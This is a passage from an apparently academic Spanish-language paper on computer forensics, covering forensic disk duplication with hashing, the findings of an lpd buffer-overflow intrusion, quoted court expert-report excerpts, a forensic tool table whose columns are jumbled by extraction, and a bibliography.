los mismos en un archivo. De esta forma, es posible validar grupo por grupo de bloques contra el
disco original.
La sintaxis es similar a la de dd, pero se agregan las opciones de hashwindows y hashlog. Estas
opciones permiten especificar el tamaño de los grupos de bytes utilizados para calcular cada hash, y
el archivo donde se guardarán los mismos, respectivamente.
3.4. Conclusiones
Para conectarse al equipo, el atacante utilizó una vulnerabilidad del servicio lpd. El método
utilizado fue el de desbordamiento de buffer, y ocurrió a las 2.35pm del día 8 de Septiembre de 2003.
Una vez obtenido este acceso, el atacante creó una cuenta de usuario llamada lpd, con permisos de
root en el equipo atacado.
Verificando en la duplicación forense del disco del equipo investigado, se pudo determinar que
el atacante utilizó el directorio /tmp/.kde como repositorio local para sus utilidades. Dentro de las
utilidades se encontró un conocido cracker de claves, utilizado para descubrir la clave del usuario
richard.
Para evitar que un firewall pudiera impedir la conexión del equipo atacado con el exterior, el
atacante utilizó el programa datapipe para redireccionar el puerto TCP 23 al puerto TCP 2323.
Es evidente que la recolección de información volátil debe hacerse lo antes posible, ya que en
caso de apagar el equipo esa información sería seguramente perdida. Sin embargo, no es necesario
recolectar información no volátil antes de apagar el equipo. La información no volátil puede ser
recuperada completamente a partir de una copia forense del disco del equipo investigado.
Realizar una copia forense del disco investigado es fundamental para la investigación. Esta copia
forense permite que otro investigador pueda replicar los pasos dados, y verificar la obtención de los
resultados mostrados. Esto es necesario en caso de una pericia judicial, ya que en caso contrario sería
seguramente invalidada. Por tal motivo es necesario recolectar la información no volátil a partir de
una copia forense de la información, y documentando todo y cada uno de los pasos dados.
Sin embargo, no todas las investigaciones forenses son de índole judicial. Dado que las
estadísticas apuntan que la mayoría de los ataques que recibe una empresa provienen o cuentan con
ayuda desde la propia planta de empleados, muchas veces el interés de la investigación pasa por
descubrir o tener indicios sobre el culpable, sin llegar a etapas judiciales. No es necesario entonces, si
la empresa no lo requiere, realizar una copia forense de la información a analizar, si bien es muy
conveniente contar con una.
Caso1: “... A tal efecto, se utilizaron técnicas informáticas para garantizar la preservación de la
evidencia electrónica, pudiendo a futuro verificarse la integridad del material probatorio por medio de
certificaciones digitales que se suministran para cada uno de los diskettes en cuestión, a saber:
Diskette1: 5F1CE0BF7738AB171D686E2A150CC593
Diskette2:9F3FB4171DF7F3B254CB93D4AABF6849
Diskette3: 36E53D636E3511C5ED3DC0C76B5233F8.
Dichas certificaciones son conocidas como valores Hash, resultando una cadena de caracteres y
números única para cada uno de los diskettes obtenida a través de un algoritmo estándar aprobado
internacionalmente conocido como MD5. ...”
b) Una descripción detallada de todas las fuentes de información utilizadas, así como también
de los pasos realizados durante la investigación:
Caso 3: “... En base a los fármacos indicados en el Informe Técnico Pericial Nro. 2 del Dr. XXX,
se practicó un análisis de datos sobre el disco rígido de la computadora con las siguientes palabras:
misoprostol, mifepristone, oxaprost y diofenac. Se especificó una búsqueda exhaustiva de las
cadenas de caracteres mencionadas con el software ReadIT – Versión 1.01, utilizado comúnmente
en pericias informáticas para análisis de datos. ...”
d) La contestación a cada uno de los puntos de pericia, debe indicar cualquier observación o
impedimento en la búsqueda de evidencia:
Caso 4: “...El análisis de datos a nivel lógico confirma la existencia de un enlace a un documento
titulado "DDD.doc.lnk", en la carpeta \WINDOWS\Recent. Esta carpeta del sistema operativo
almacena los enlaces de los últimos archivos accedidos por el usuario de la computadora. El enlace
referencia a un archivo localizado en la unidad de disco A:, lo cual indica que el documento fue
trabajado en disquette. ...”
Caso 5: “... Dado que se hace impracticable realizar una impresión indiscriminada de todos los
archivos localizados, se tomó una muestra de ellos, para localizar visualmente información relevante,
cuyos resultados son: un archivo (AAA.tmp) y dos visualizaciones mediante capturas de pantalla
(BBB.dbf y CCC.dbt) los cuales se adjuntan al presente informe...”.
Para cada tarea que se necesite realizar existen herramientas open source (de libre distribución y
modificación) y también comerciales.
Open
Sistema
Nombre Descripción Source / Link
Operativo
Comercial
Duplicado forense y utilización O.S. Linux ftp://ftp.hq.nas
a.gov/pub/ig/c
Enhanced_loopback como disco rígido. (Kernel cd/enhanced_l
NASA) oopback
No analiza los datos, solamente O.S. Linux http://www.por
cupine.org/for
obtiene información relevante ensics/tct.html
para el análisis. #source_code
Cononer´s Toolkit
Incorpora un recuperador de
ficheros borrados (lazarus) para
cualquier Unix. Permite analizar
los procesos en ejecución.
Diferente capacidad de
almacenamiento
Varios campos de
ordenamiento, incluyendo
estampillas de tiempo
Firmas de archivos,
identificación y análisis
Integración de reportes
Visualizador integrado de
imágenes con galería
Permite principalmente analizar Comercial Windows http://www.acc
essdata.com/
Forensic Tool Kit la información relevada de un - Linux
sistema.
Análisis de archivos
comprimidos (winzip, pkzip,
rar, gzip, tar).
Identificación de archivos
típicos del file system y
programas, de evidencia,
hashsets, etc.
5. Bibliografía
5.1. Principal
Este trabajo fue realizado a partir de la bibliografía expuesta a continuación. Se
extrajeron fragmentos y se utilizaron esquemas, convenientemente citados.
5.2. Complementaria
• http://www.delitosinformaticos.com/delitos/prueba.shtml
• http://www2.compendium.com.ar/juridico/leggieri.html
• http://www2.compendium.com.ar/juridico/peri2.html
• http://web.mit.edu/tytso/www/linux/ext2intro.html
• http://www.softpanorama.org/Internals/unix_system_calls.shtml
• http://ext2read.sourceforge.net/documentation/inside-ext23-file-system/
• http://www.securityfocus.com/infocus/1738